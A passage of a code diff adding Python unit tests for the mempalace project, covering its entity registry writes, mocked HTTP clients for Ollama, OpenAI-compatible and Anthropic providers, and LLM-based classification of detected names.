+    temp_registry.write_text(json.dumps({"people": ["Alice"], "places": ["Paris", "Tokyo"]}))
+    miner.add_to_known_entities({"people": ["Bob"]})
+    data = json.loads(temp_registry.read_text())
+    assert data["places"] == ["Paris", "Tokyo"]
+    assert data["people"] == ["Alice", "Bob"]
+
+
+def test_adds_new_categories(temp_registry):
+    temp_registry.write_text(json.dumps({"people": ["Alice"]}))
+    miner.add_to_known_entities({"projects": ["foo", "bar"]})
+    data = json.loads(temp_registry.read_text())
+    assert data["people"] == ["Alice"]
+    assert data["projects"] == ["foo", "bar"]
+
+
+def test_dedupes_within_input(temp_registry):
+    miner.add_to_known_entities({"people": ["Alice", "alice", "Alice"]})
+    data = json.loads(temp_registry.read_text())
+    assert data["people"] == ["Alice"]
+
+
+# ── dict-format existing registry ──────────────────────────────────────
+
+
+def test_dict_format_existing_category_gets_new_keys(temp_registry):
+    """Miner supports {name: code} dict categories (alternate registry shape).
+    New names are added as keys without overwriting existing codes."""
+    temp_registry.write_text(json.dumps({"people": {"Alice": "ALC", "Bob": "BOB"}}))
+    miner.add_to_known_entities({"people": ["Alice", "Carol"]})
+    data = json.loads(temp_registry.read_text())
+    # Alice's code survives; Carol added with None; Bob untouched
+    assert data["people"]["Alice"] == "ALC"
+    assert data["people"]["Bob"] == "BOB"
+    assert "Carol" in data["people"]
+    assert data["people"]["Carol"] is None
+
+
+def test_dict_format_dedupes_case_insensitively_and_stringifies_new_names(temp_registry):
+    temp_registry.write_text(json.dumps({"people": {"Alice": "ALC"}}))
+    miner.add_to_known_entities({"people": ["alice", 123]})
+    data = json.loads(temp_registry.read_text())
+    assert data["people"] == {"Alice": "ALC", "123": None}
+
+
+# ── error tolerance ───────────────────────────────────────────────────
+
+
+def test_malformed_existing_registry_starts_fresh(temp_registry):
+    temp_registry.write_text("{ not valid json")
+    miner.add_to_known_entities({"people": ["Alice"]})
+    data = json.loads(temp_registry.read_text())
+    assert data == {"people": ["Alice"]}
+
+
+def test_non_dict_existing_registry_starts_fresh(temp_registry):
+    temp_registry.write_text(json.dumps(["unexpected", "array"]))
+    miner.add_to_known_entities({"people": ["Alice"]})
+    data = json.loads(temp_registry.read_text())
+    assert data == {"people": ["Alice"]}
+
+
+def test_non_list_input_category_ignored(temp_registry):
+    miner.add_to_known_entities({"people": ["Alice"], "weird": "not a list"})
+    data = json.loads(temp_registry.read_text())
+    assert "weird" not in data or data.get("weird") == "not a list"
+    assert data["people"] == ["Alice"]
+
+
+# ── cache invalidation ───────────────────────────────────────────────
+
+
+def test_cache_invalidated_so_subsequent_load_sees_write(temp_registry):
+    """cmd_init → cmd_mine runs in the same process; the load path must
+    see what init just wrote without a process restart."""
+    # Prime the cache with an empty state
+    miner._load_known_entities()
+    assert miner._load_known_entities() == frozenset()
+
+    miner.add_to_known_entities({"people": ["Alice", "Bob"], "projects": ["foo"]})
+
+    loaded = miner._load_known_entities()
+    assert "Alice" in loaded
+    assert "Bob" in loaded
+    assert "foo" in loaded
+
+
+def test_raw_view_reflects_write(temp_registry):
+    miner.add_to_known_entities({"people": ["Alice"]})
+    raw = miner._load_known_entities_raw()
+    assert raw.get("people") == ["Alice"]
+
+
+# ── Unicode round-trip ────────────────────────────────────────────────
+
+
+def test_unicode_names_written_literally_not_escaped(temp_registry):
+    """`ensure_ascii=False` so non-ASCII names stay readable on disk."""
+    miner.add_to_known_entities({"people": ["Gergő Móricz", "Arturo Domínguez"]})
+    raw_text = temp_registry.read_text(encoding="utf-8")
+    assert "Gergő" in raw_text
+    assert "Móricz" in raw_text
+    # Round-trips through JSON
+    data = json.loads(raw_text)
+    assert "Gergő Móricz" in data["people"]
+
+
+# ── end-to-end: does the write actually help _extract_entities_for_metadata? ──
+
+
+def test_populated_registry_improves_miner_recall(temp_registry):
+    """The whole point of the wire-up: names written via add_to_known_entities
+    must be recognized by the miner's entity-extraction metadata pass."""
+    miner.add_to_known_entities(
+        {
+            "people": ["Julia Grib", "Kevin Heifner"],
+            "projects": ["hyperion-history", "mempalace"],
+        }
+    )
+
+    sample = (
+        "Met with Julia Grib yesterday about the mempalace release. "
+        "Kevin Heifner pushed the hyperion-history fix."
+    )
+    result = miner._extract_entities_for_metadata(sample)
+    tagged = set(result.split(";")) if result else set()
+
+    # All four registered entities should land in the metadata string
+    for expected in ("Julia Grib", "Kevin Heifner", "hyperion-history", "mempalace"):
+        assert expected in tagged, f"expected '{expected}' in metadata {tagged!r}"

tests/test_llm_client.py

@@ -0,0 +1,327 @@
+"""Tests for mempalace.llm_client.
+
+HTTP is mocked throughout — these tests do not require a running Ollama
+or network access. Live-provider smoke tests live outside the unit-test
+suite.
+"""
+
+import json
+from unittest.mock import patch, MagicMock
+
+import pytest
+
+from mempalace.llm_client import (
+    AnthropicProvider,
+    LLMError,
+    OllamaProvider,
+    OpenAICompatProvider,
+    _http_post_json,
+    get_provider,
+)
+
+
+# ── factory ─────────────────────────────────────────────────────────────
+
+
+def test_get_provider_ollama():
+    p = get_provider("ollama", "gemma4:e4b")
+    assert isinstance(p, OllamaProvider)
+    assert p.model == "gemma4:e4b"
+    assert p.endpoint == OllamaProvider.DEFAULT_ENDPOINT
+
+
+def test_get_provider_openai_compat():
+    p = get_provider("openai-compat", "foo", endpoint="http://localhost:1234")
+    assert isinstance(p, OpenAICompatProvider)
+
+
+def test_get_provider_anthropic():
+    p = get_provider("anthropic", "claude-haiku", api_key="sk-xxx")
+    assert isinstance(p, AnthropicProvider)
+    assert p.api_key == "sk-xxx"
+
+
+def test_get_provider_unknown_raises():
+    with pytest.raises(LLMError, match="Unknown provider"):
+        get_provider("nonsense", "x")
+
+
+# ── _http_post_json ─────────────────────────────────────────────────────
+
+
+def test_http_post_json_success():
+    mock_resp = MagicMock()
+    mock_resp.read.return_value = b'{"ok": true}'
+    mock_resp.__enter__.return_value = mock_resp
+    mock_resp.__exit__.return_value = False
+    with patch("mempalace.llm_client.urlopen", return_value=mock_resp):
+        result = _http_post_json("http://x/y", {"a": 1}, {}, timeout=5)
+    assert result == {"ok": True}
+
+
+def test_http_post_json_http_error_wraps_as_llm_error():
+    from urllib.error import HTTPError
+    import io
+
+    err = HTTPError("http://x", 404, "Not Found", {}, io.BytesIO(b"model missing"))
+    with patch("mempalace.llm_client.urlopen", side_effect=err):
+        with pytest.raises(LLMError, match="HTTP 404"):
+            _http_post_json("http://x", {}, {}, timeout=5)
+
+
+def test_http_post_json_url_error_wraps_as_llm_error():
+    from urllib.error import URLError
+
+    with patch("mempalace.llm_client.urlopen", side_effect=URLError("conn refused")):
+        with pytest.raises(LLMError, match="Cannot reach"):
+            _http_post_json("http://x", {}, {}, timeout=5)
+
+
+def test_http_post_json_malformed_response():
+    mock_resp = MagicMock()
+    mock_resp.read.return_value = b"not json"
+    mock_resp.__enter__.return_value = mock_resp
+    mock_resp.__exit__.return_value = False
+    with patch("mempalace.llm_client.urlopen", return_value=mock_resp):
+        with pytest.raises(LLMError, match="Malformed"):
+            _http_post_json("http://x", {}, {}, timeout=5)
+
+
+# ── OllamaProvider ──────────────────────────────────────────────────────
+
+
+def _mock_ollama_chat_response(content: str):
+    mock = MagicMock()
+    mock.read.return_value = json.dumps({"message": {"content": content}}).encode()
+    mock.__enter__.return_value = mock
+    mock.__exit__.return_value = False
+    return mock
+
+
+def test_ollama_check_available_finds_model():
+    tags = {"models": [{"name": "gemma4:e4b"}, {"name": "other:latest"}]}
+    mock = MagicMock()
+    mock.read.return_value = json.dumps(tags).encode()
+    mock.__enter__.return_value = mock
+    mock.__exit__.return_value = False
+    with patch("mempalace.llm_client.urlopen", return_value=mock):
+        p = OllamaProvider(model="gemma4:e4b")
+        ok, msg = p.check_available()
+    assert ok
+    assert msg == "ok"
+
+
+def test_ollama_check_available_accepts_latest_suffix():
+    tags = {"models": [{"name": "mymodel:latest"}]}
+    mock = MagicMock()
+    mock.read.return_value = json.dumps(tags).encode()
+    mock.__enter__.return_value = mock
+    mock.__exit__.return_value = False
+    with patch("mempalace.llm_client.urlopen", return_value=mock):
+        p = OllamaProvider(model="mymodel")
+        ok, _ = p.check_available()
+    assert ok
+
+
+def test_ollama_check_available_missing_model():
+    tags = {"models": [{"name": "other:latest"}]}
+    mock = MagicMock()
+    mock.read.return_value = json.dumps(tags).encode()
+    mock.__enter__.return_value = mock
+    mock.__exit__.return_value = False
+    with patch("mempalace.llm_client.urlopen", return_value=mock):
+        p = OllamaProvider(model="absent")
+        ok, msg = p.check_available()
+    assert not ok
+    assert "ollama pull absent" in msg
+
+
+def test_ollama_check_available_unreachable():
+    from urllib.error import URLError
+
+    with patch("mempalace.llm_client.urlopen", side_effect=URLError("refused")):
+        p = OllamaProvider(model="gemma4:e4b")
+        ok, msg = p.check_available()
+    assert not ok
+    assert "Cannot reach Ollama" in msg
+
+
+def test_ollama_classify_sends_json_format():
+    captured = {}
+
+    def fake_urlopen(req, *, timeout):
+        captured["url"] = req.full_url
+        captured["body"] = json.loads(req.data.decode())
+        return _mock_ollama_chat_response('{"classifications": []}')
+
+    with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
+        p = OllamaProvider(model="gemma4:e4b")
+        resp = p.classify("sys", "user", json_mode=True)
+
+    assert captured["body"]["format"] == "json"
+    assert captured["body"]["model"] == "gemma4:e4b"
+    assert captured["url"].endswith("/api/chat")
+    assert resp.provider == "ollama"
+    assert resp.text == '{"classifications": []}'
+
+
+def test_ollama_classify_empty_content_raises():
+    with patch("mempalace.llm_client.urlopen", return_value=_mock_ollama_chat_response("")):
+        p = OllamaProvider(model="x")
+        with pytest.raises(LLMError, match="Empty response"):
+            p.classify("s", "u")
+
+
+# ── OpenAICompatProvider ────────────────────────────────────────────────
+
+
+def _mock_openai_response(content: str):
+    mock = MagicMock()
+    payload = {"choices": [{"message": {"content": content}}]}
+    mock.read.return_value = json.dumps(payload).encode()
+    mock.__enter__.return_value = mock
+    mock.__exit__.return_value = False
+    return mock
+
+
+def test_openai_compat_resolves_url_with_v1_suffix():
+    captured = {}
+
+    def fake_urlopen(req, *, timeout):
+        captured["url"] = req.full_url
+        return _mock_openai_response('{"ok": true}')
+
+    with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
+        p = OpenAICompatProvider(model="x", endpoint="http://h:1234")
+        p.classify("s", "u")
+    assert captured["url"] == "http://h:1234/v1/chat/completions"
+
+
+def test_openai_compat_resolves_url_with_existing_v1():
+    captured = {}
+
+    def fake_urlopen(req, *, timeout):
+        captured["url"] = req.full_url
+        return _mock_openai_response('{"ok": true}')
+
+    with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
+        p = OpenAICompatProvider(model="x", endpoint="http://h:1234/v1")
+        p.classify("s", "u")
+    assert captured["url"] == "http://h:1234/v1/chat/completions"
+
+
+def test_openai_compat_requires_endpoint():
+    p = OpenAICompatProvider(model="x")
+    with pytest.raises(LLMError, match="requires --llm-endpoint"):
+        p.classify("s", "u")
+
+
+def test_openai_compat_sends_authorization_when_key_present():
+    captured = {}
+
+    def fake_urlopen(req, *, timeout):
+        captured["auth"] = req.get_header("Authorization")
+        return _mock_openai_response('{"ok": true}')
+
+    with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
+        p = OpenAICompatProvider(model="x", endpoint="http://h", api_key="sk-aaa")
+        p.classify("s", "u")
+    assert captured["auth"] == "Bearer sk-aaa"
+
+
+def test_openai_compat_uses_env_var_fallback(monkeypatch):
+    monkeypatch.setenv("OPENAI_API_KEY", "sk-from-env")
+    p = OpenAICompatProvider(model="x", endpoint="http://h")
+    assert p.api_key == "sk-from-env"
+
+
+def test_openai_compat_sends_response_format_json():
+    captured = {}
+
+    def fake_urlopen(req, *, timeout):
+        captured["body"] = json.loads(req.data.decode())
+        return _mock_openai_response('{"ok": true}')
+
+    with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
+        p = OpenAICompatProvider(model="x", endpoint="http://h")
+        p.classify("s", "u", json_mode=True)
+    assert captured["body"]["response_format"] == {"type": "json_object"}
+
+
+def test_openai_compat_unexpected_shape_raises():
+    mock = MagicMock()
+    mock.read.return_value = b'{"nothing": "here"}'
+    mock.__enter__.return_value = mock
+    mock.__exit__.return_value = False
+    with patch("mempalace.llm_client.urlopen", return_value=mock):
+        p = OpenAICompatProvider(model="x", endpoint="http://h")
+        with pytest.raises(LLMError, match="Unexpected response shape"):
+            p.classify("s", "u")
+
+
+# ── AnthropicProvider ───────────────────────────────────────────────────
+
+
+def _mock_anthropic_response(text: str):
+    mock = MagicMock()
+    payload = {"content": [{"type": "text", "text": text}]}
+    mock.read.return_value = json.dumps(payload).encode()
+    mock.__enter__.return_value = mock
+    mock.__exit__.return_value = False
+    return mock
+
+
+def test_anthropic_requires_api_key(monkeypatch):
+    monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
+    p = AnthropicProvider(model="claude-haiku")
+    ok, msg = p.check_available()
+    assert not ok
+    assert "ANTHROPIC_API_KEY" in msg
+
+
+def test_anthropic_reads_env_key(monkeypatch):
+    monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-ant-env")
+    p = AnthropicProvider(model="claude-haiku")
+    assert p.api_key == "sk-ant-env"
+    ok, _ = p.check_available()
+    assert ok
+
+
+def test_anthropic_classify_sends_version_and_key():
+    captured = {}
+
+    def fake_urlopen(req, *, timeout):
+        captured["api_key"] = req.get_header("X-api-key")
+        captured["version"] = req.get_header("Anthropic-version")
+        return _mock_anthropic_response('{"ok": true}')
+
+    with patch("mempalace.llm_client.urlopen", side_effect=fake_urlopen):
+        p = AnthropicProvider(model="claude-haiku", api_key="sk-ant-abc")
+        resp = p.classify("s", "u")
+    assert captured["api_key"] == "sk-ant-abc"
+    assert captured["version"] == AnthropicProvider.API_VERSION
+    assert resp.text == '{"ok": true}'
+
+
+def test_anthropic_joins_multiple_text_blocks():
+    mock = MagicMock()
+    payload = {
+        "content": [
+            {"type": "text", "text": "part one. "},
+            {"type": "text", "text": "part two."},
+        ]
+    }
+    mock.read.return_value = json.dumps(payload).encode()
+    mock.__enter__.return_value = mock
+    mock.__exit__.return_value = False
+    with patch("mempalace.llm_client.urlopen", return_value=mock):
+        p = AnthropicProvider(model="claude-haiku", api_key="sk-ant")
+        resp = p.classify("s", "u")
+    assert resp.text == "part one. part two."
+
+
+def test_anthropic_no_key_raises_on_classify(monkeypatch):
+    monkeypatch.delenv("ANTHROPIC_API_KEY", raising=False)
+    p = AnthropicProvider(model="claude-haiku")
+    with pytest.raises(LLMError, match="requires ANTHROPIC_API_KEY"):
+        p.classify("s", "u")

tests/test_llm_refine.py

@@ -0,0 +1,631 @@
+"""Tests for mempalace.llm_refine.
+
+Uses a fake provider for deterministic, offline tests. No network.
+"""
+
+from dataclasses import dataclass
+
+
+from mempalace.llm_client import LLMError, LLMResponse
+from mempalace.llm_refine import (
+    _apply_classifications,
+    _build_user_prompt,
+    _collect_contexts,
+    _extract_json_candidates,
+    _is_authoritative_person,
+    _is_authoritative_project,
+    _parse_response,
+    collect_corpus_text,
+    refine_entities,
+)
+
+
+# ── fake provider ───────────────────────────────────────────────────────
+
+
+@dataclass
+class FakeProvider:
+    """Returns a caller-supplied JSON string on every classify call."""
+
+    response_text: str = ""
+    should_raise: Exception = None
+    call_count: int = 0
+    interrupt_on_call: int = -1
+
+    def classify(self, system, user, json_mode=True):
+        self.call_count += 1
+        if self.call_count == self.interrupt_on_call:
+            raise KeyboardInterrupt()
+        if self.should_raise is not None:
+            raise self.should_raise
+        return LLMResponse(text=self.response_text, model="fake", provider="fake", raw={})
+
+    def check_available(self):
+        return True, "ok"
+
+
+# ── _collect_contexts ───────────────────────────────────────────────────
+
+
+def test_collect_contexts_finds_matches():
+    lines = [
+        "Something about Alice",
+        "Bob said hello",
+        "Alice was here",
+        "Alice walked by",
+    ]
+    out = _collect_contexts(lines, "Alice", max_lines=2)
+    assert len(out) == 2
+    assert all("alice" in line.lower() for line in out)
+
+
+def test_collect_contexts_case_insensitive():
+    lines = ["lowercase alice mention"]
+    out = _collect_contexts(lines, "Alice")
+    assert out == ["lowercase alice mention"]
+
+
+def test_collect_contexts_uses_token_boundaries():
+    lines = [
+        "forgot should not match",
+        "Go is a language.",
+        "go-v1 shipped.",
+    ]
+    out = _collect_contexts(lines, "Go", max_lines=5)
+    assert out == ["Go is a language.", "go-v1 shipped."]
+
+
+def test_collect_contexts_dedupes_identical_lines():
+    lines = ["Alice", "Alice", "Alice was here"]
+    out = _collect_contexts(lines, "Alice", max_lines=5)
+    # two unique lines, not three
+    assert len(out) == 2
+
+
+def test_collect_contexts_truncates_long_lines():
+    lines = ["Alice " + ("x" * 1000)]
+    out = _collect_contexts(lines, "Alice")
+    assert len(out[0]) <= 240
+
+
+def test_collect_contexts_no_matches():
+    assert _collect_contexts(["nothing here"], "Alice") == []
+
+
+# ── _build_user_prompt ──────────────────────────────────────────────────
+
+
+def test_build_user_prompt_numbers_and_includes_contexts():
+    prompt = _build_user_prompt(
+        [
+            ("Alice", "uncertain", ["Alice said hi"]),
+            ("Bob", "project", []),
+        ]
+    )
+    assert "1. Alice" in prompt
+    assert "2. Bob" in prompt
+    assert "Alice said hi" in prompt
+    assert "(no context available)" in prompt
+
+
+# ── _parse_response ─────────────────────────────────────────────────────
+
+
+def test_parse_response_canonicalizes_label():
+    text = '{"classifications": [{"name": "Alice", "label": "person", "reason": "x"}]}'
+    out = _parse_response(text, ["Alice"])
+    assert out["Alice"] == ("PERSON", "x")
+
+
+def test_parse_response_accepts_type_alias():
+    """LLMs may return 'type' instead of 'label'."""
+    text = '{"classifications": [{"name": "Bob", "type": "PROJECT"}]}'
+    out = _parse_response(text, ["Bob"])
+    assert out["Bob"][0] == "PROJECT"
+
+
+def test_parse_response_maps_unknown_label_to_ambiguous():
+    text = '{"classifications": [{"name": "X", "label": "WEIRD"}]}'
+    out = _parse_response(text, ["X"])
+    assert out["X"][0] == "AMBIGUOUS"
+
+
+def test_parse_response_restores_canonical_casing():
+    """Model may lowercase the name; we restore against the expected set."""
+    text = '{"classifications": [{"name": "mempalace", "label": "PROJECT"}]}'
+    out = _parse_response(text, ["MemPalace"])
+    assert "MemPalace" in out
+    assert out["MemPalace"][0] == "PROJECT"
+
+
+def test_parse_response_strips_code_fences():
+    text = '```json\n{"classifications": [{"name": "X", "label": "TOPIC"}]}\n```'
+    out = _parse_response(text, ["X"])
+    assert out["X"][0] == "TOPIC"
+
+
+def test_parse_response_extracts_json_after_prose():
+    text = 'Sure, here is the JSON: {"classifications": [{"name": "X", "label": "TOPIC"}]}'
+    out = _parse_response(text, ["X"])
+    assert out["X"][0] == "TOPIC"
+
+
+def test_parse_response_extracts_fenced_json_after_prose():
+    text = 'Sure:\n```json\n{"classifications": [{"name": "X", "label": "PROJECT"}]}\n```'
+    out = _parse_response(text, ["X"])
+    assert out["X"][0] == "PROJECT"
+
+
+def test_extract_json_candidates_handles_embedded_array():
+    text = 'prefix [{"name": "Y", "label": "PERSON"}] suffix'
+    candidates = _extract_json_candidates(text)
+    assert '[{"name": "Y", "label": "PERSON"}]' in candidates
+
+
+def test_parse_response_ignores_non_json_brackets_before_payload():
+    text = 'See [note] first. JSON: {"classifications": [{"name": "X", "label": "TOPIC"}]}'
+    out = _parse_response(text, ["X"])
+    assert out["X"][0] == "TOPIC"
+
+
+def test_parse_response_malformed_returns_empty():
+    out = _parse_response("not json at all", ["X"])
+    assert out == {}
+
+
+def test_parse_response_accepts_top_level_list():
+    """Some models skip the wrapping object and return the list directly."""
+    text = '[{"name": "Y", "label": "PERSON"}]'
+    out = _parse_response(text, ["Y"])
+    assert out["Y"][0] == "PERSON"
+
+
+# ── _apply_classifications ──────────────────────────────────────────────
+
+
+def test_apply_classifications_moves_to_correct_bucket():
+    detected = {
+        "people": [],
+        "projects": [
+            {
+                "name": "Foo",
+                "type": "project",
+                "confidence": 0.8,
+                "frequency": 3,
+                "signals": ["old"],
+            }
+        ],
+        "uncertain": [
+            {"name": "Alice", "type": "uncertain", "confidence": 0.4, "frequency": 5, "signals": []}
+        ],
+    }
+    decisions = {
+        "Foo": ("PROJECT", "real project name"),
+        "Alice": ("PERSON", "clearly a person"),
+    }
+    new, reclass, dropped = _apply_classifications(detected, decisions)
+    assert len(new["people"]) == 1
+    assert new["people"][0]["name"] == "Alice"
+    assert new["people"][0]["type"] == "person"
+    assert reclass == 1  # Alice moved uncertain -> people
+    assert dropped == 0
+
+
+def test_apply_classifications_drops_common_word():
+    detected = {
+        "people": [],
+        "projects": [],
+        "uncertain": [
+            {
+                "name": "Never",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 20,
+                "signals": [],
+            }
+        ],
+    }
+    decisions = {"Never": ("COMMON_WORD", "adverb")}
+    new, _, dropped = _apply_classifications(detected, decisions)
+    assert dropped == 1
+    assert new["uncertain"] == []
+
+
+def test_apply_classifications_keeps_unvisited_entries():
+    detected = {
+        "people": [
+            {
+                "name": "Igor",
+                "type": "person",
+                "confidence": 0.99,
+                "frequency": 100,
+                "signals": ["git"],
+            }
+        ],
+        "projects": [],
+        "uncertain": [],
+    }
+    # No decision for Igor — should stay untouched
+    new, reclass, dropped = _apply_classifications(detected, {})
+    assert new["people"][0]["name"] == "Igor"
+    assert reclass == 0
+    assert dropped == 0
+
+
+def test_apply_classifications_appends_reason_signal():
+    detected = {
+        "people": [],
+        "projects": [],
+        "uncertain": [
+            {
+                "name": "Foo",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 5,
+                "signals": ["regex"],
+            }
+        ],
+    }
+    decisions = {"Foo": ("PERSON", "spoken of by name")}
+    new, _, _ = _apply_classifications(detected, decisions)
+    assert any("LLM: person" in s for s in new["people"][0]["signals"])
+    assert any("spoken of by name" in s for s in new["people"][0]["signals"])
+
+
+def test_apply_classifications_topic_goes_to_uncertain():
+    detected = {
+        "people": [],
+        "projects": [
+            {
+                "name": "Paris",
+                "type": "project",
+                "confidence": 0.7,
+                "frequency": 5,
+                "signals": ["regex"],
+            }
+        ],
+        "uncertain": [],
+    }
+    decisions = {"Paris": ("TOPIC", "city, not a project")}
+    new, reclass, _ = _apply_classifications(detected, decisions)
+    assert len(new["projects"]) == 0
+    assert len(new["uncertain"]) == 1
+    assert new["uncertain"][0]["name"] == "Paris"
+    assert reclass == 1
+
+
+def test_apply_classifications_can_block_llm_only_project_promotion():
+    detected = {
+        "people": [],
+        "projects": [],
+        "uncertain": [
+            {
+                "name": "Terraform",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 5,
+                "signals": ["regex"],
+            }
+        ],
+    }
+    decisions = {"Terraform": ("PROJECT", "tool")}
+    new, reclass, _ = _apply_classifications(
+        detected,
+        decisions,
+        allow_project_promotions=False,
+    )
+    assert new["projects"] == []
+    assert new["uncertain"][0]["name"] == "Terraform"
+    assert new["uncertain"][0]["type"] == "uncertain"
+    assert reclass == 0
+
+
+def test_apply_classifications_allows_project_promotion_for_prose_only_mode():
+    detected = {
+        "people": [],
+        "projects": [],
+        "uncertain": [
+            {
+                "name": "Project Aurora",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 5,
+                "signals": ["regex"],
+            }
+        ],
+    }
+    decisions = {"Project Aurora": ("PROJECT", "user effort")}
+    new, reclass, _ = _apply_classifications(detected, decisions)
+    assert new["projects"][0]["name"] == "Project Aurora"
+    assert new["projects"][0]["type"] == "project"
+    assert reclass == 1
+
+
+# ── authoritative source filters ────────────────────────────────────────
+
+
+def test_is_authoritative_person_requires_git_signal():
+    assert _is_authoritative_person({"signals": ["5 commits across 2 repos"]})
+    assert not _is_authoritative_person({"signals": ["pronoun nearby (5x)"]})
+
+
+def test_is_authoritative_project_requires_manifest_or_git_signal():
+    assert _is_authoritative_project({"signals": ["package.json, 12 of your commits"]})
+    assert _is_authoritative_project({"signals": ["57 commits (none by you)"]})
+    assert not _is_authoritative_project({"signals": ["code file reference (5x)"]})
+
+
+# ── refine_entities ─────────────────────────────────────────────────────
+
+
+def _sample_detected():
+    return {
+        "people": [
+            {
+                "name": "Igor",
+                "type": "person",
+                "confidence": 0.99,
+                "frequency": 100,
+                "signals": ["git"],
+            }
+        ],
+        "projects": [
+            {
+                "name": "Foo",
+                "type": "project",
+                "confidence": 0.7,
+                "frequency": 5,
+                "signals": ["regex"],
+            }
+        ],
+        "uncertain": [
+            {
+                "name": "Never",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 10,
+                "signals": [],
+            },
+            {
+                "name": "Alice",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 5,
+                "signals": [],
+            },
+        ],
+    }
+
+
+def test_refine_entities_end_to_end_with_fake_provider():
+    provider = FakeProvider(
+        response_text=(
+            '{"classifications": ['
+            '{"name": "Foo", "label": "PROJECT", "reason": "real"},'
+            '{"name": "Never", "label": "COMMON_WORD"},'
+            '{"name": "Alice", "label": "PERSON", "reason": "name"}'
+            "]}"
+        )
+    )
+    result = refine_entities(
+        _sample_detected(),
+        corpus_text="Alice said hi. Foo was shipped. Never gonna.",
+        provider=provider,
+        show_progress=False,
+    )
+    assert result.batches_total == 1
+    assert result.batches_completed == 1
+    assert not result.cancelled
+    # Alice → people, Never → dropped, Foo stays in projects
+    names_in_people = [e["name"] for e in result.merged["people"]]
+    assert "Alice" in names_in_people
+    assert "Igor" in names_in_people  # untouched
+    assert "Never" not in [e["name"] for e in result.merged["uncertain"]]
+    assert result.dropped == 1
+
+
+def test_refine_entities_skips_high_confidence_projects():
+    """Manifest-backed projects (conf >= 0.95) aren't sent to the LLM."""
+    detected = {
+        "people": [],
+        "projects": [
+            {
+                "name": "manifest-backed",
+                "type": "project",
+                "confidence": 0.99,
+                "frequency": 50,
+                "signals": ["pyproject.toml"],
+            }
+        ],
+        "uncertain": [],
+    }
+    provider = FakeProvider(response_text='{"classifications": []}')
+    refine_entities(detected, "", provider, show_progress=False)
+    # Should not have called the LLM at all
+    assert provider.call_count == 0
+
+
+def test_refine_entities_refines_high_confidence_regex_projects():
+    """High-confidence regex projects still need LLM review without source signal."""
+    detected = {
+        "people": [],
+        "projects": [
+            {
+                "name": "OpenAPI",
+                "type": "project",
+                "confidence": 0.99,
+                "frequency": 5,
+                "signals": ["code file reference (5x)"],
+            }
+        ],
+        "uncertain": [],
+    }
+    provider = FakeProvider(
+        response_text=(
+            '{"classifications": [{"name": "OpenAPI", "label": "TOPIC", "reason": "technology"}]}'
+        )
+    )
+    result = refine_entities(detected, "OpenAPI schemas", provider, show_progress=False)
+    assert provider.call_count == 1
+    assert result.reclassified == 1
+    assert result.merged["projects"] == []
+    assert result.merged["uncertain"][0]["name"] == "OpenAPI"
+
+
+def test_refine_entities_refines_regex_people_but_skips_git_people():
+    detected = {
+        "people": [
+            {
+                "name": "Igor Lins e Silva",
+                "type": "person",
+                "confidence": 0.99,
+                "frequency": 100,
+                "signals": ["100 commits across 3 repos"],
+            },
+            {
+                "name": "Tool",
+                "type": "person",
+                "confidence": 0.99,
+                "frequency": 5,
+                "signals": ["pronoun nearby (5x)"],
+            },
+        ],
+        "projects": [],
+        "uncertain": [],
+    }
+    provider = FakeProvider(
+        response_text='{"classifications": [{"name": "Tool", "label": "COMMON_WORD"}]}'
+    )
+    result = refine_entities(detected, "Tool is a common noun.", provider, show_progress=False)
+    assert provider.call_count == 1
+    names = [e["name"] for e in result.merged["people"]]
+    assert names == ["Igor Lins e Silva"]
+    assert result.dropped == 1
+
+
+def test_refine_entities_can_keep_llm_only_project_in_uncertain():
+    detected = {
+        "people": [],
+        "projects": [],
+        "uncertain": [
+            {
+                "name": "Terraform",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 9,
+                "signals": ["regex"],
+            }
+        ],
+    }
+    provider = FakeProvider(
+        response_text='{"classifications": [{"name": "Terraform", "label": "PROJECT"}]}'
+    )
+    result = refine_entities(
+        detected,
+        "Terraform config",
+        provider,
+        show_progress=False,
+        allow_project_promotions=False,
+    )
+    assert result.merged["projects"] == []
+    assert result.merged["uncertain"][0]["name"] == "Terraform"
+    assert any("LLM: project" in s for s in result.merged["uncertain"][0]["signals"])
+
+
+def test_refine_entities_empty_candidates_returns_noop():
+    detected = {"people": [], "projects": [], "uncertain": []}
+    provider = FakeProvider()
+    result = refine_entities(detected, "", provider, show_progress=False)
+    assert result.batches_total == 0
+    assert result.reclassified == 0
+    assert result.merged == detected
+
+
+def test_refine_entities_handles_batch_error_gracefully():
+    provider = FakeProvider(should_raise=LLMError("transport broke"))
+    result = refine_entities(
+        _sample_detected(),
+        corpus_text="",
+        provider=provider,
+        show_progress=False,
+    )
+    assert result.errors
+    assert "transport broke" in result.errors[0]
+    # Detected unchanged (no successful decisions)
+    assert result.reclassified == 0
+    assert result.cancelled is False
+
+
+def test_refine_entities_ctrl_c_returns_partial():
+    """Ctrl-C during refinement marks cancelled=True and returns partial result."""
+    # Two batches' worth of candidates
+    detected = {
+        "people": [],
+        "projects": [],
+        "uncertain": [
+            {
+                "name": f"Cand{i}",
+                "type": "uncertain",
+                "confidence": 0.4,
+                "frequency": 3,
+                "signals": [],
+            }
+            for i in range(50)
+        ],
+    }
+    provider = FakeProvider(
+        response_text='{"classifications": []}',
+        interrupt_on_call=2,  # interrupt on second batch
+    )
+    result = refine_entities(detected, "", provider, batch_size=25, show_progress=False)
+    assert result.cancelled is True
+    assert result.batches_completed == 1  # first batch finished; second interrupted
+    assert result.batches_total == 2
+
+
+def test_refine_entities_malformed_response_recorded_as_error():
+    provider = FakeProvider(response_text="not json")
+    result = refine_entities(_sample_detected(), "", provider, show_progress=False)
+    assert any("could not parse" in e for e in result.errors)
+
+
+# ── collect_corpus_text ─────────────────────────────────────────────────
+
+
+def test_collect_corpus_text_reads_prose_files(tmp_path):
